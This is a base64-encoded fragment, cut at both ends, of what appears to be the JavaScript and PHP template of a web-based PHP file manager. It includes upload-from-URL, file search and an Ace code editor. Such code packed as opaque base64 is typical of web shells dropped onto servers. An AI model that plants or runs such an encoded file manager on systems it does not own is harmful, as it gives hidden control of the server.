0cignbWV0aG9kJyksIHVybDogZm9ybS5hdHRyKCdhY3Rpb24nKSwgZGF0YTogZm9ybS5zZXJpYWxpemUoKSsiJnRva2VuPSIrIHdpbmRvdy5jc3JmICsiJmFqYXg9Iit0cnVlLAogICAgICAgICAgICBzdWNjZXNzOiBmdW5jdGlvbiAoZGF0YSkgeyBpZihkYXRhKSB7ICRwd2QudmFsKGRhdGEpOyB9IH0KICAgICAgICB9KTsgcmV0dXJuIGZhbHNlOwogICAgfQogICAgLy8gVXBsb2FkIGZpbGVzIHVzaW5nIFVSTCBAcGFyYW0ge09iamVjdH0KICAgIGZ1bmN0aW9uIHVwbG9hZF9mcm9tX3VybCgkdGhpcykgewogICAgICAgIGxldCBmb3JtID0gJCgkdGhpcyksIHJlc3VsdFdyYXBwZXIgPSAkKCJkaXYjanMtdXJsLXVwbG9hZF9fbGlzdCIpOwogICAgICAgICQuYWpheCh7CiAgICAgICAgICAgIHR5cGU6IGZvcm0uYXR0cignbWV0aG9kJyksIHVybDogZm9ybS5hdHRyKCdhY3Rpb24nKSwgZGF0YTogZm9ybS5zZXJpYWxpemUoKSsiJnRva2VuPSIrIHdpbmRvdy5jc3JmICsiJmFqYXg9Iit0cnVlLAogICAgICAgICAgICBiZWZvcmVTZW5kOiBmdW5jdGlvbigpIHsgZm9ybS5maW5kKCJpbnB1dFtuYW1lPXVwbG9hZHVybF0iKS5hdHRyKCJkaXNhYmxlZCIsImRpc2FibGVkIik7IGZvcm0uZmluZCgiYnV0dG9uIikuaGlkZSgpOyBmb3JtLmZpbmQoIi5sZHMtZmFjZWJvb2siKS5hZGRDbGFzcygnc2hvdy1tZScpOyB9LAogICAgICAgICAgICBzdWNjZXNzOiBmdW5jdGlvbiAoZGF0YSkgewogICAgICAgICAgICAgICAgaWYoZGF0YSkgewogICAgICAgICAgICAgICAgICAgIGRhdGEgPSBKU09OLnBhcnNlKGRhdGEpOwogICAgICAgICAgICAgICAgICAgIGlmKGRhdGEuZG9uZSkgewogICAgICAgICAgICAgICAgICAgICAgICByZXN1bHRXcmFwcGVyLmFwcGVuZCgnPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtc3VjY2VzcyByb3ciPlVwbG9hZGVkIFN1Y2Nlc3NmdWw6ICcrZGF0YS5kb25lLm5hbWUrJzwvZGl2PicpOyBmb3JtLmZpbmQoImlucHV0W25hbWU9dXBsb2FkdXJsXSIpLnZhbCgnJyk7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIGlmKGRhdGFbJ2ZhaWwnXSkgeyByZXN1bHRXcmFwcGVyLmFwcGVuZCgnPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtZGFuZ2VyIHJvdyI+RXJyb3I6ICcrZGF0YS5mYWlsLm1lc3NhZ2UrJzwvZGl2PicpOyB9CiAgICAgICAgICAgICAgICAgICAgZm9ybS5maW5kKCJpbnB1dFtuYW1lPXVwbG9hZHVybF0iKS5yZW1vdmVBdHRyKCJkaXNhYmxlZCIpO2Zvcm0uZmluZCgiYnV0dG9uIikuc2hvdygpO2Zvcm0uZmluZCgiLmxkcy1mYWNlYm9vayIpLnJlbW92ZUNsYXNzKCdzaG93LW1lJyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0sCiAgICAgICAgICAgIGVycm9yOiBmdW5jdGlvbih4aHIpIHsKICAgICAgICAgICAgICAgIGZvcm0uZmluZCgiaW5wdXRbbmFtZT11cGxvYWR1cmxdIikucmVtb3ZlQXR0cigiZGlzYWJsZWQiKTtmb3JtLmZpbmQoImJ1dHRvbiIpLnNob3coKTtmb3JtLmZpbmQoIi5sZHMtZmFjZWJvb2siKS5yZW1vdmVDbGFzcygnc2hvdy1tZScpO2NvbnNvbGUuZXJyb3IoeGhyKTsKICAgICAgICAgICAgfQogICAgICAgIH0pOyByZXR1cm4gZmFsc2U7CiAgICB9CiAgICAvLyBTZWFyY2ggdGVtcGxhdGUKICAgIGZ1bmN0aW9uIHNlYXJjaF90ZW1wbGF0ZShkYXRhKSB7CiAgICAgICAgdmFyIHJlc3BvbnNlID0gIiI7CiAgICAgICAgJC5lYWNoKGRhdGEsIGZ1bmN0aW9uIChrZXksIHZhbCkgewogICAgICAgICAgICByZXNwb25zZSArPSBgPGxpPjxhIGhyZWY9Ij9wPSR7dmFsLnBhdGh9JnZpZXc9JHt2YWwubmFtZX0iPiR7dmFsLnBhdGh9LyR7dmFsLm5hbWV9PC9hPjwvbGk+YDsKICAgICAgICB9KTsKICAgICAgICByZXR1cm4gcmVzcG9uc2U7CiAgICB9CiAgICAvLyBBZHZhbmNlIHNlYXJjaAogICAgZnVuY3Rpb24gZm1fc2VhcmNoKCkgewogICAgICAgIHZhciBzZWFyY2hUeHQgPSAkKCJpbnB1dCNhZHZhbmNlZC1zZWFyY2giKS52YWwoKSwgc2VhcmNoV3JhcHBlciA9ICQoInVsI3NlYXJjaC13cmFwcGVyIiksIHBhdGggPSAkKCIjanMtc2VhcmNoLW1vZGFsIikuYXR0cigiaHJlZiIpLCBfaHRtbCA9ICIiLCAkbG9hZGVyID0gJCgiZGl2Lmxkcy1mYWNlYm9vayIpOwogICAgICAgIGlmKCEhc2VhcmNoVHh0ICYmIHNlYXJjaFR4dC5sZW5ndGggPiAyICYmIHBhdGgpIHsKICAgICAgICAgICAgdmFyIGRhdGEgPSB7YWpheDogdHJ1ZSwgY29udGVudDogc2VhcmNoVHh0LCBwYXRoOnBhdGgsIHR5cGU6ICdzZWFyY2gnLCB0b2tlbjogd2luZG93LmNzcmYgfTsKICAgICAgICAgICAgJC5hamF4KHsKICAgICAgICAgICAgICAgIHR5cGU6ICJQT1NUIiwKICAgICAgICAgICAgICAgIHVybDogd2luZG93LmxvY2F0aW9uLAogICAgICAgICAgICAgICAgZGF0YTogZGF0YSwKICAgICAgICAgICAgICAgIGJlZm9yZVNlbmQ6IGZ1bmN0aW9uKCkgewogICAgICAgICAgICAgICAgICAgIHNlYXJjaFdyYXBwZXIuaHRtbCgnJyk7CiAgICAgICAgICAgICAgICAgICAgJGxvYWRlci5hZGRDbGFzcygnc2hvdy1tZScpOwogICAgICAgICAgICAgICAgfSwKICAgICAgICAgICAgICAgIHN1Y2Nlc3M6IGZ1bmN0aW9uKGRhdGEpewogICAgICAgICAgICAgICAgICAgICRsb2FkZXIucmVtb3ZlQ2xhc3MoJ3Nob3ctbWUnKTsKICAgICAgICAgICAgICAgICAgICBkYXRhID0gSlNPTi5wYXJzZShkYXRhKTsKICAgICAgICAgICAgICAgICAgICBpZihkYXRhICYmIGRhdGEubGVuZ3RoKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIF9odG1sID0gc2VhcmNoX3RlbXBsYXRlKGRhdGEpOwogICAgICAgICAgICAgICAgICAgICAgICBzZWFyY2hXcmFwcGVyLmh0bWwoX2h0bWwpOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7IHNlYXJjaFdyYXBwZXIuaHRtbCgnPHAgY2xhc3M9Im0tMiI+Tm8gcmVzdWx0IGZvdW5kITxwPicpOyB9CiAgICAgICAgICAgICAgICB9LAogICAgICAgICAgICAgICAgZXJyb3I6IGZ1bmN0aW9uKHhocikgeyAkbG9hZGVyLnJlbW92ZUNsYXNzKCdzaG93LW1lJyk7IHNlYXJjaFdyYXBwZXIuaHRtbCgnPHAgY2xhc3M9Im0tMiI+RVJST1I6IFRyeSBhZ2FpbiBsYXRlciE8L3A+Jyk7IH0sCiAgICAgICAgICAgICAgICBmYWlsdXJlOiBmdW5jdGlvbihtZXMpIHsgJGxvYWRlci5yZW1vdmVDbGFzcygnc2hvdy1tZScpOyBzZWFyY2hXcmFwcGVyLmh0bWwoJzxwIGNsYXNzPSJtLTIiPkVSUk9SOiBUcnkgYWdhaW4gbGF0ZXIhPC9wPicpO30KICAgICAgICAgICAgfSk7CiAgICAgICAgfSBlbHNlIHsgc2VhcmNoV3JhcHBlci5odG1sKCJPT1BTOiBtaW5pbXVtIDMgY2hhcmFjdGVycyByZXF1aXJlZCEiKTsgfQogICAgfQoKICAgIC8vIGFjdGlvbiBjb25maXJtIGRhaWxvZyBtb2RhbAogICAgZnVuY3Rpb24gY29uZmlybURhaWxvZyhlLCBpZCA9IDAsIHRpdGxlID0gIkFjdGlvbiIsIGNvbnRlbnQgPSAiIiwgYWN0aW9uID0gbnVsbCkgewogICAgICAgIGUucHJldmVudERlZmF1bHQoKTsKICAgICAgICBjb25zdCB0cGxPYmogPSB7aWQsIHRpdGxlLCBjb250ZW50OiBkZWNvZGVVUklDb21wb25lbnQoY29udGVudC5yZXBsYWNlKC9cKy9nLCAnICcpKSwgYWN0aW9ufTsKICAgICAgICBsZXQgdHBsID0gJCgiI2pzLXRwbC1jb25maXJtIikuaHRtbCgpOwogICAgICAgICQoIi5tb2RhbC5jb25maXJtRGFpbG9nIikucmVtb3ZlKCk7CiAgICAgICAgJCgnI3dyYXBwZXInKS5hcHBlbmQodGVtcGxhdGUodHBsLHRwbE9iaikpOwogICAgICAgIGNvbnN0ICRjb25maXJtRGFpbG9nID0gJCgiI2NvbmZpcm1EYWlsb2ctIit0cGxPYmouaWQpOwogICAgICAgICRjb25maXJtRGFpbG9nLm1vZGFsKCdzaG93Jyk7CiAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQogICAgCgogICAgLy8gb24gbW91c2UgaG92ZXIgaW1hZ2UgcHJldmlldwogICAgIWZ1bmN0aW9uKHMpe3MucHJldmlld0ltYWdlPWZ1bmN0aW9uKGUpe3ZhciBvPXMoZG9jdW1lbnQpLHQ9Ii5wcmV2aWV3SW1hZ2UiLGE9cy5leHRlbmQoe3hPZmZzZXQ6MjAseU9mZnNldDotMjAsZmFkZUluOiJmYXN0Iixjc3M6e3BhZGRpbmc6IjVweCIsYm9yZGVyOiIxcHggc29saWQgI2NjY2NjYyIsImJhY2tncm91bmQtY29sb3IiOiIjZmZmIn0sZXZlbnRTZWxlY3RvcjoiW2RhdGEtcHJldmlldy1pbWFnZV0iLGRhdGFLZXk6InByZXZpZXdJbWFnZSIsb3ZlcmxheUlkOiJwcmV2aWV3LWltYWdlLXBsdWdpbi1vdmVybGF5In0sZSk7cmV0dXJuIG8ub2ZmKHQpLG8ub24oIm1vdXNlb3ZlciIrdCxhLmV2ZW50U2VsZWN0b3IsZnVuY3Rpb24oZSl7cygicCMiK2Eub3ZlcmxheUlkKS5yZW1vdmUoKTt2YXIgbz1zKCI8cD4iKS5hdHRyKCJpZCIsYS5vdmVybGF5SWQpLmNzcygicG9zaXRpb24iLCJhYnNvbHV0ZSIpLmNzcygiZGlzcGxheSIsIm5vbmUiKS5hcHBlbmQocygnPGltZyBjbGFzcz0iYy1wcmV2aWV3LWltZyI+JykuYXR0cigic3JjIixzKHRoaXMpLmRhdGEoYS5kYXRhS2V5KSkpO2EuY3NzJiZvLmNzcyhhLmNzcykscygiYm9keSIpLmFwcGVuZChvKSxvLmNzcygidG9wIixlLnBhZ2VZK2EueU9mZnNldCsicHgiKS5jc3MoImxlZnQiLGUucGFnZVgrYS54T2Zmc2V0KyJweCIpLmZhZGVJbihhLmZhZGVJbil9KSxvLm9uKCJtb3VzZW91dCIrdCxhLmV2ZW50U2VsZWN0b3IsZnVuY3Rpb24oKXtzKCIjIithLm92ZXJsYXlJZCkucmVtb3ZlKCl9KSxvLm9uKCJtb3VzZW1vdmUiK3QsYS5ldmVudFNlbGVjdG9yLGZ1bmN0aW9uKGUpe3MoIiMiK2Eub3ZlcmxheUlkKS5jc3MoInRvcCIsZS5wYWdlWSthLnlPZmZzZXQrInB4IikuY3NzKCJsZWZ0IixlLnBhZ2VYK2EueE9mZnNldCsicHgiKX0pLHRoaXN9LHMucHJldmlld0ltYWdlKCl9KGpRdWVyeSk7CgogICAgLy8gRG9tIFJlYWR5IEV2ZW50cwogICAgJChkb2N1bWVudCkucmVhZHkoIGZ1bmN0aW9uICgpIHsKICAgICAgICAvLyBkYXRhVGFibGUgaW5pdAogICAgICAgIHZhciAkdGFibGUgPSAkKCcjbWFpbi10YWJsZScpLAogICAgICAgICAgICB0YWJsZUxuZyA9ICR0YWJsZS5maW5kKCd0aCcpLmxlbmd0aCwKICAgICAgICAgICAgX3RhcmdldHMgPSAodGFibGVMbmcgJiYgdGFibGVMbmcgPT0gNyApID8gWzAsIDQsNSw2XSA6IHRhYmxlTG5nID09IDUgPyBbMCw0XSA6IFszXTsKICAgICAgICAgICAgbWFpblRhYmxlID0gJCgnI21haW4tdGFibGUnKS5EYXRhVGFibGUoe3BhZ2luZzogZmFsc2UsIGluZm86IGZhbHNlLCBvcmRlcjogW10sIGNvbHVtbkRlZnM6IFt7dGFyZ2V0czogX3RhcmdldHMsIG9yZGVyYWJsZTogZmFsc2V9XQogICAgICAgIH0pOwogICAgICAgIC8vIGZpbHRlciB0YWJsZQogICAgICAgICQoJyNzZWFyY2gtYWRkb24nKS5vbiggJ2tleXVwJywgZnVuY3Rpb24gKCkgewogICAgICAgICAgICBtYWluVGFibGUuc2VhcmNoKCB0aGlzLnZhbHVlICkuZHJhdygpOwogICAgICAgIH0pOwogICAgICAgICQoImlucHV0I2FkdmFuY2VkLXNlYXJjaCIpLm9uKCdrZXl1cCcsIGZ1bmN0aW9uIChlKSB7CiAgICAgICAgICAgIGlmIChlLmtleUNvZGUgPT09IDEzKSB7IGZtX3NlYXJjaCgpOyB9CiAgICAgICAgfSk7CiAgICAgICAgJCgnI3NlYXJjaC1hZGRvbjMnKS5vbiggJ2NsaWNrJywgZnVuY3Rpb24gKCkgeyBmbV9zZWFyY2goKTsgfSk7CiAgICAgICAgLy91cGxvYWQgbmF2IHRhYnMKICAgICAgICAkKCIuZm0tdXBsb2FkLXdyYXBwZXIgLmNhcmQtaGVhZGVyLXRhYnMiKS5vbigiY2xpY2siLCAnYScsIGZ1bmN0aW9uKGUpewogICAgICAgICAgICBlLnByZXZlbnREZWZhdWx0KCk7bGV0IHRhcmdldD0kKHRoaXMpLmRhdGEoJ3RhcmdldCcpOwogICAgICAgICAgICAkKCIuZm0tdXBsb2FkLXdyYXBwZXIgLmNhcmQtaGVhZGVyLXRhYnMgYSIpLnJlbW92ZUNsYXNzKCdhY3RpdmUnKTskKHRoaXMpLmFkZENsYXNzKCdhY3RpdmUnKTsKICAgICAgICAgICAgJCgiLmZtLXVwbG9hZC13cmFwcGVyIC5jYXJkLXRhYnMtY29udGFpbmVyIikuYWRkQ2xhc3MoJ2hpZGRlbicpOyQodGFyZ2V0KS5yZW1vdmVDbGFzcygnaGlkZGVuJyk7CiAgICAgICAgfSk7CiAgICB9KTsKPC9zY3JpcHQ+Cjw/cGhwIGlmIChpc3NldCgkX0dFVFsnZWRpdCddKSAmJiBpc3NldCgkX0dFVFsnZW52J10pICYmIEZNX0VESVRfRklMRSAmJiAhRk1fUkVBRE9OTFkpOgogICAgICAgIAogICAgICAgICRleHQgPSBwYXRoaW5mbygkX0dFVFsiZWRpdCJdLCBQQVRISU5GT19FWFRFTlNJT04pOwogICAgICAgICRleHQgPSAgJGV4dCA9PSAianMiID8gImphdmFzY3JpcHQiIDogICRleHQ7CiAgICAgICAgPz4KICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdqcy1hY2UnKTsgPz4KICAgIDxzY3JpcHQ+CiAgICAgICAgdmFyIGVkaXRvciA9IGFjZS5lZGl0KCJlZGl0b3IiKTsKICAgICAgICBlZGl0b3IuZ2V0U2Vzc2lvbigpLnNldE1vZGUoIHtwYXRoOiJhY2UvbW9kZS88P3BocCBlY2hvICRleHQ7ID8+IiwgaW5saW5lOnRydWV9ICk7CiAgICAgICAgLy9lZGl0b3Iuc2V0VGhlbWUoImFjZS90aGVtZS90d2lsaWdodCIpOyAvL0RhcmsgVGhlbWUKICAgICAgICBlZGl0b3Iuc2V0U2hvd1ByaW50TWFyZ2luKGZhbHNlKTsgLy8gSGlkZSB0aGUgdmVydGljYWwgcnVsZXIKICAgICAgICBmdW5jdGlvbiBhY2VfY29tbWVuZCAoY21kKSB7IGVkaXRvci5jb21tYW5kcy5leGVjKGNtZCwgZWRpdG9yKTsgfQogICAgICAgIGVkaXRvci5jb21tYW5kcy5hZGRDb21tYW5kcyhbewogICAgICAgICAgICBuYW1lOiAnc2F2ZScsIGJpbmRLZXk6IHt3aW46ICdDdHJsLVMnLCAgbWFjOiAnQ29tbWFuZC1TJ30sCiAgICAgICAgICAgIGV4ZWM6IGZ1bmN0aW9uKGVkaXRvcikgeyBlZGl0X3NhdmUodGhpcywgJ2FjZScpOyB9CiAgICAgICAgfV0pOwogICAgICAgIGZ1bmN0aW9uIHJlbmRlclRoZW1lTW9kZSgpIHsKICAgICAgICAgICAgdmFyICRtb2RlRWwgPSAkKCJzZWxlY3QjanMtYWNlLW1vZGUiKSwgJHRoZW1lRWwgPSAkKCJzZWxlY3QjanMtYWNlLXRoZW1lIiksICRmb250U2l6ZUVsID0gJCgic2VsZWN0I2pzLWFjZS1mb250U2l6ZSIpLCBvcHRpb25Ob2RlID0gZnVuY3Rpb24odHlwZSwgYXJyKXsgdmFyICRPcHRpb24gPSAiIjsgJC5lYWNoKGFyciwgZnVuY3Rpb24oaSwgdmFsKSB7ICRPcHRpb24gKz0gIjxvcHRpb24gdmFsdWU9JyIrdHlwZStpKyInPiIgKyB2YWwgKyAiPC9vcHRpb24+IjsgfSk7IHJldHVybiAkT3B0aW9uOyB9LAogICAgICAgICAgICAgICAgX2RhdGEgPSB7ImFjZVRoZW1lIjp7ImJyaWdodCI6eyJjaHJvbWUiOiJDaHJvbWUiLCJjbG91ZHMiOiJDbG91ZHMiLCJjcmltc29uX2VkaXRvciI6IkNyaW1zb24gRWRpdG9yIiwiZGF3biI6IkRhd24iLCJkcmVhbXdlYXZlciI6IkRyZWFtd2VhdmVyIiwiZWNsaXBzZSI6IkVjbGlwc2UiLCJnaXRodWIiOiJHaXRIdWIiLCJpcGxhc3RpYyI6IklQbGFzdGljIiwic29sYXJpemVkX2xpZ2h0IjoiU29sYXJpemVkIExpZ2h0IiwidGV4dG1hdGUiOiJUZXh0TWF0ZSIsInRvbW9ycm93IjoiVG9tb3Jyb3ciLCJ4Y29kZSI6IlhDb2RlIiwia3Vyb2lyIjoiS3Vyb2lyIiwia2F0emVubWlsY2giOiJLYXR6ZW5NaWxjaCIsInNxbHNlcnZlciI6IlNRTCBTZXJ2ZXIifSwiZGFyayI6eyJhbWJpYW5jZSI6IkFtYmlhbmNlIiwiY2hhb3MiOiJDaGFvcyIsImNsb3Vkc19taWRuaWdodCI6IkNsb3VkcyBNaWRuaWdodCIsImRyYWN1bGEiOiJEcmFjdWxhIiwiY29iYWx0IjoiQ29iYWx0IiwiZ3J1dmJveCI6IkdydXZib3giLCJnb2IiOiJHcmVlbiBvbiBCbGFjayIsImlkbGVfZmluZ2VycyI6ImlkbGUgRmluZ2VycyIsImtyX3RoZW1lIjoia3JUaGVtZSIsIm1lcmJpdm9yZSI6Ik1lcmJpdm9yZSIsIm1lcmJpdm9yZV9zb2Z0IjoiTWVyYml2b3JlIFNvZnQiLCJtb25vX2luZHVzdHJpYWwiOiJNb25vIEluZHVzdHJpYWwiLCJtb25va2FpIjoiTW9ub2thaSIsInBhc3RlbF9vbl9kYXJrIjoiUGFzdGVsIG9uIGRhcmsiLCJzb2xhcml6ZWRfZGFyayI6IlNvbGFyaXplZCBEYXJrIiwidGVybWluYWwiOiJUZXJtaW5hbCIsInRvbW9ycm93X25pZ2h0IjoiVG9tb3Jyb3cgTmlnaHQiLCJ0b21vcnJvd19uaWdodF9ibHVlIjoiVG9tb3Jyb3cgTmlnaHQgQmx1ZSIsInRvbW9ycm93X25pZ2h0X2JyaWdodCI6IlRvbW9ycm93IE5pZ2h0IEJyaWdodCIsInRvbW9ycm93X25pZ2h0X2VpZ2h0aWVzIjoiVG9tb3Jyb3cgTmlnaHQgODBzIiwidHdpbGlnaHQiOiJUd2lsaWdodCIsInZpYnJhbnRfaW5rIjoiVmlicmFudCBJbmsifX0sImFjZU1vZGUiOnsiamF2YXNjcmlwdCI6IkphdmFTY3JpcHQiLCJhYmFwIjoiQUJBUCIsImFiYyI6IkFCQyIsImFjdGlvbnNjcmlwdCI6IkFjdGlvblNjcmlwdCIsImFkYSI6IkFEQSIsImFwYWNoZV9jb25mIjoiQXBhY2hlIENvbmYiLCJhc2NpaWRvYyI6IkFzY2lpRG9jIiwiYXNsIjoiQVNMIiwiYXNzZW1ibHlfeDg2IjoiQXNzZW1ibHkgeDg2IiwiYXV0b2hvdGtleSI6IkF1dG9Ib3RLZXkiLCJhcGV4IjoiQXBleCIsImJhdGNoZmlsZSI6IkJhdGNoRmlsZSIsImJybyI6IkJybyIsImNfY3BwIjoiQyBhbmQgQysrIiwiYzlzZWFyY2giOiJDOVNlYXJjaCIsImNpcnJ1IjoiQ2lycnUiLCJjbG9qdXJlIjoiQ2xvanVyZSIsImNvYm9sIjoiQ29ib2wiLCJjb2ZmZWUiOiJDb2ZmZWVTY3JpcHQiLCJjb2xkZnVzaW9uIjoiQ29sZEZ1c2lvbiIsImNzaGFycCI6IkMjIiwiY3NvdW5kX2RvY3VtZW50IjoiQ3NvdW5kIERvY3VtZW50IiwiY3NvdW5kX29yY2hlc3RyYSI6IkNzb3VuZCIsImNzb3VuZF9zY29yZSI6IkNzb3VuZCBTY29yZSIsImNzcyI6IkNTUyIsImN1cmx5IjoiQ3VybHkiLCJkIjoiRCIsImRhcnQiOiJEYXJ0IiwiZGlmZiI6IkRpZmYiLCJkb2NrZXJmaWxlIjoiRG9ja2VyZmlsZSIsImRvdCI6IkRvdCIsImRyb29scyI6IkRyb29scyIsImVkaWZhY3QiOiJFZGlmYWN0IiwiZWlmZmVsIjoiRWlmZmVsIiwiZWpzIjoiRUpTIiwiZWxpeGlyIjoiRWxpeGlyIiwiZWxtIjoiRWxtIiwiZXJsYW5nIjoiRXJsYW5nIiwiZm9ydGgiOiJGb3J0aCIsImZvcnRyYW4iOiJGb3J0cmFuIiwiZnNoYXJwIjoiRlNoYXJwIiwiZnNsIjoiRlNMIiwiZnRsIjoiRnJlZU1hcmtlciIsImdjb2RlIjoiR2NvZGUiLCJnaGVya2luIjoiR2hlcmtpbiIsImdpdGlnbm9yZSI6IkdpdGlnbm9yZSIsImdsc2wiOiJHbHNsIiwiZ29ic3RvbmVzIjoiR29ic3RvbmVzIiwiZ29sYW5nIjoiR28iLCJncmFwaHFsc2NoZW1hIjoiR3JhcGhRTFNjaGVtYSIsImdyb292eSI6Ikdyb292eSIsImhhbWwiOiJIQU1MIiwiaGFuZGxlYmFycyI6IkhhbmRsZWJhcnMiLCJoYXNrZWxsIjoiSGFza2VsbCIsImhhc2tlbGxfY2FiYWwiOiJIYXNrZWxsIENhYmFsIiwiaGF4ZSI6ImhhWGUiLCJoanNvbiI6Ikhqc29uIiwiaHRtbCI6IkhUTUwiLCJodG1sX2VsaXhpciI6IkhUTUwgKEVsaXhpcikiLCJodG1sX3J1YnkiOiJIVE1MIChSdWJ5KSIsImluaSI6IklOSSIsImlvIjoiSW8iLCJqYWNrIjoiSmFjayIsImphZGUiOiJKYWRlIiwiamF2YSI6IkphdmEiLCJqc29uIjoiSlNPTiIsImpzb25pcSI6IkpTT05pcSIsImpzcCI6IkpTUCIsImpzc20iOiJKU1NNIiwianN4IjoiSlNYIiwianVsaWEiOiJKdWxpYSIsImtvdGxpbiI6IktvdGxpbiIsImxhdGV4IjoiTGFUZVgiLCJsZXNzIjoiTEVTUyIsImxpcXVpZCI6IkxpcXVpZCIsImxpc3AiOiJMaXNwIiwibGl2ZXNjcmlwdCI6IkxpdmVTY3JpcHQiLCJsb2dpcWwiOiJMb2dpUUwiLCJsc2wiOiJMU0wiLCJsdWEiOiJMdWEiLCJsdWFwYWdlIjoiTHVhUGFnZSIsImx1Y2VuZSI6Ikx1Y2VuZSIsIm1ha2VmaWxlIjoiTWFrZWZpbGUiLCJtYXJrZG93biI6Ik1hcmtkb3duIiwibWFzayI6Ik1hc2siLCJtYXRsYWIiOiJNQVRMQUIiLCJtYXplIjoiTWF6ZSIsIm1lbCI6Ik1FTCIsIm1peGFsIjoiTUlYQUwiLCJtdXNoY29kZSI6Ik1VU0hDb2RlIiwibXlzcWwiOiJNeVNRTCIsIm5peCI6Ik5peCIsIm5zaXMiOiJOU0lTIiwib2JqZWN0aXZlYyI6Ik9iamVjdGl2ZS1DIiwib2NhbWwiOiJPQ2FtbCIsInBhc2NhbCI6IlBhc2NhbCIsInBlcmwiOiJQZXJsIiwicGVybDYiOiJQZXJsIDYiLCJwZ3NxbCI6InBnU1FMIiwicGhwX2xhcmF2ZWxfYmxhZGUiOiJQSFAgKEJsYWRlIFRlbXBsYXRlKSIsInBocCI6IlBIUCIsInB1cHBldCI6IlB1cHBldCIsInBpZyI6IlBpZyIsInBvd2Vyc2hlbGwiOiJQb3dlcnNoZWxsIiwicHJhYXQiOiJQcmFhdCIsInByb2xvZyI6IlByb2xvZyIsInByb3BlcnRpZXMiOiJQcm9wZXJ0aWVzIiwicHJvdG9idWYiOiJQcm90b2J1ZiIsInB5dGhvbiI6IlB5dGhvbiIsInIiOiJSIiwicmF6b3IiOiJSYXpvciIsInJkb2MiOiJSRG9jIiwicmVkIjoiUmVkIiwicmh0bWwiOiJSSFRNTCIsInJzdCI6IlJTVCIsInJ1YnkiOiJSdWJ5IiwicnVzdCI6IlJ1c3QiLCJzYXNzIjoiU0FTUyIsInNjYWQiOiJTQ0FEIiwic2NhbGEiOiJTY2FsYSIsInNjaGVtZSI6IlNjaGVtZSIsInNjc3MiOiJTQ1NTIiwic2giOiJTSCIsInNqcyI6IlNKUyIsInNsaW0iOiJTbGltIiwic21hcnR5IjoiU21hcnR5Iiwic25pcHBldHMiOiJzbmlwcGV0cyIsInNveV90ZW1wbGF0ZSI6IlNveSBUZW1wbGF0ZSIsInNwYWNlIjoiU3BhY2UiLCJzcWwiOiJTUUwiLCJzcWxzZXJ2ZXIiOiJTUUxTZXJ2ZXIiLCJzdHlsdXMiOiJTdHlsdXMiLCJzdmciOiJTVkciLCJzd2lmdCI6IlN3aWZ0IiwidGNsIjoiVGNsIiwidGVycmFmb3JtIjoiVGVycmFmb3JtIiwidGV4IjoiVGV4IiwidGV4dCI6IlRleHQiLCJ0ZXh0aWxlIjoiVGV4dGlsZSIsInRvbWwiOiJUb21sIiwidHN4IjoiVFNYIiwidHdpZyI6IlR3aWciLCJ0eXBlc2NyaXB0IjoiVHlwZXNjcmlwdCIsInZhbGEiOiJWYWxhIiwidmJzY3JpcHQiOiJWQlNjcmlwdCIsInZlbG9jaXR5IjoiVmVsb2NpdHkiLCJ2ZXJpbG9nIjoiVmVyaWxvZyIsInZoZGwiOiJWSERMIiwidmlzdWFsZm9yY2UiOiJWaXN1YWxmb3JjZSIsIndvbGxvayI6IldvbGxvayIsInhtbCI6IlhNTCIsInhxdWVyeSI6IlhRdWVyeSIsInlhbWwiOiJZQU1MIiwiZGphbmdvIjoiRGphbmdvIn0sImZvbnRTaXplIjp7ODo4LDEwOjEwLDExOjExLDEyOjEyLDEzOjEzLDE0OjE0LDE1OjE1LDE2OjE2LDE3OjE3LDE4OjE4LDIwOjIwLDIyOjIyLDI0OjI0LDI2OjI2LDMwOjMwfX07CiAgICAgICAgICAgIGlmKF9kYXRhICYmIF9kYXRhLmFjZU1vZGUpIHsgJG1vZGVFbC5odG1sKG9wdGlvbk5vZGUoImFjZS9tb2RlLyIsIF9kYXRhLmFjZU1vZGUpKTsgfQogICAgICAgICAgICBpZihfZGF0YSAmJiBfZGF0YS5hY2VUaGVtZSkgeyB2YXIgbGlnaHRUaGVtZSA9IG9wdGlvbk5vZGUoImFjZS90aGVtZS8iLCBfZGF0YS5hY2VUaGVtZS5icmlnaHQpLCBkYXJrVGhlbWUgPSBvcHRpb25Ob2RlKCJhY2UvdGhlbWUvIiwgX2RhdGEuYWNlVGhlbWUuZGFyayk7ICR0aGVtZUVsLmh0bWwoIjxvcHRncm91cCBsYWJlbD1cIkJyaWdodFwiPiIrbGlnaHRUaGVtZSsiPC9vcHRncm91cD48b3B0Z3JvdXAgbGFiZWw9XCJEYXJrXCI+IitkYXJrVGhlbWUrIjwvb3B0Z3JvdXA+Iik7fQogICAgICAgICAgICBpZihfZGF0YSAmJiBfZGF0YS5mb250U2l6ZSkgeyAkZm9udFNpemVFbC5odG1sKG9wdGlvbk5vZGUoIiIsIF9kYXRhLmZvbnRTaXplKSk7IH0KICAgICAgICAgICAgJG1vZGVFbC52YWwoIGVkaXRvci5nZXRTZXNzaW9uKCkuJG1vZGVJZCApOwogICAgICAgICAgICAkdGhlbWVFbC52YWwoIGVkaXRvci5nZXRUaGVtZSgpICk7CiAgICAgICAgICAgICRmb250U2l6ZUVsLnZhbCgxMikuY2hhbmdlKCk7IC8vc2V0IGRlZmF1bHQgZm9udCBzaXplIGluIGRyb3AgZG93bgogICAgICAgIH0KCiAgICAgICAgJChmdW5jdGlvbigpewogICAgICAgICAgICByZW5kZXJUaGVtZU1vZGUoKTsKICAgICAgICAgICAgJCgiLmpzLWFjZS10b29sYmFyIikub24oImNsaWNrIiwgJ2J1dHRvbicsIGZ1bmN0aW9uKGUpewogICAgICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpOwogICAgICAgICAgICAgICAgbGV0IGNtZFZhbHVlID0gJCh0aGlzKS5hdHRyKCJkYXRhLWNtZCIpLCBlZGl0b3JPcHRpb24gPSAkKHRoaXMpLmF0dHIoImRhdGEtb3B0aW9uIik7CiAgICAgICAgICAgICAgICBpZihjbWRWYWx1ZSAmJiBjbWRWYWx1ZSAhPSAibm9uZSIpIHsKICAgICAgICAgICAgICAgICAgICBhY2VfY29tbWVuZChjbWRWYWx1ZSk7